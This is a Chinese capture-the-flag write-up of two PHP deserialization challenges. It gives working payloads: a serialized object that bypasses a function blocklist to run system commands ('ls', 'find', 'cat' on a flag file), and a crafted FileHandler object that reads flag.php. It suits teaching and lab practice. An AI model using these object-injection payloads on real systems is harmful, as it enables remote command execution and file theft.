这两道题的考点都是反序列化,而且两道题都很简单,适合作为反序列化的入门提。

朱雀组-webphp

打开题目,等待两三秒发现有Warning:

1

Warning说使用date()函数不太安全,但是在最后一行还是返回了当前的时间2020-05-20 02:35:32 am

我们抓个包来看一下发生了什么:

2

刷新页面,发现这是一个POST请求,请求参数有两个,funcp,其中func指定了执行的函数,pfunc中的参数,默认是Y-m-d h:i:s a

那我们可以先读取源码,这很简单,将参数修改为下面即可:

1
func=file_get_contents&p=index.php

3

得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

从源码的第22行至第29行可以看到,参数$func不能在$disable_fun数组中,但是参数$p就没有这种要求了,所以我们可以利用反序列化,使$func函数为unserialize函数,然后参数$p中是需要被反序列化的字符串,这个字符串就没有任何限制了,我们可以在其中包含$diable_fun中的函数,使之执行我们想要执行的命令。

Test类中存在两个成员变量,$func$p,并且存在魔术方法__destruct。在$this->func不为空字符串时就会将参数$func$p传入方法gettime中,而该方法中就有我们可以利用的$result = call_user_func($func, $p);

但是目前我们还不知道flag文件在哪里,所以先看一下当前目录下有什么文件,很容易就可以得到下面的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}

echo serialize(new Test());
?>

输出:

1
O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

所以payload为:

1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

4

当前目录下并没有flag信息,所以直接用find / -regex .*flag.*命令给找一下flag文件:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Test {
var $p = "find / -regex .*flag.*";
var $func = "system";
function __destruct() {
return "bantian";
}
}

echo serialize(new Test());
// O:4:"Test":2:{s:1:"p";s:22:"find / -regex .*flag.*";s:4:"func";s:6:"system";}
?>

5

flag在/tmp/flagoefiu4r93,读取flag:

1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

6

青龙组-AreUSerialz

打开题目直接得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}

ord()函数返回字符串的首个字符的 ASCII 值。

从源码的include("flag.php");来看,flag文件就在flag.php中,那么目标就是读取这个文件。如果要读取文件,就要找可以利用的读取函数,恰好在read()方法中存在file_get_contentsfile_get_contents($this->filename);,并没有对$this->file进行任何检查,所以这是突破口。

接着找read()函数的调用点,该函数在process()方法中,当满足$this->op == "2"时,会调用read()函数。而process()方法在__construct魔术方法和__destruct魔术方法中都有出现,我们的利用点在__destruct函数中。

分析__destruct函数:

1
2
3
4
5
6
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

这里有一个强类型比较,$this->op === "2",如果结果为true,那么$this->op就会变为1,但是如果要在process中成功调用read()函数,那么op就必须为2,这里很好绕过,只要令$this->op为数字型的2即可。

可以得到exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class FileHandler
{
protected $op;
protected $filename;
protected $content;

public function __construct()
{
$this->op = 2;
$this->filename = "flag.php";
$this->content = "hhah";
}
}

echo serialize(new FileHandler());
// O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:4:"hhah";}

但是private声明的字段和protected声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的实例中不可见,因此保护字段的字段名在序列化时,字段名前面会加上\0*\0,这里的\0表示ASCII码的0字符,而不是\0组合。\0可以用%00\00替代,所以得到:

1
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;s:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:4:"hhah";}

另一种方法是在php7.1+版本中,在序列化时对属性类型不太敏感,本地化的时候将属性改为public就可以绕过了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class FileHandler
{
public $op;
public $filename;
public $content;

public function __construct()
{
$this->op = 2;
$this->filename = "flag.php";
$this->content = "hhah";
}
}

echo serialize(new FileHandler());
// O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:4:"hhah";}

最后得到flag:

7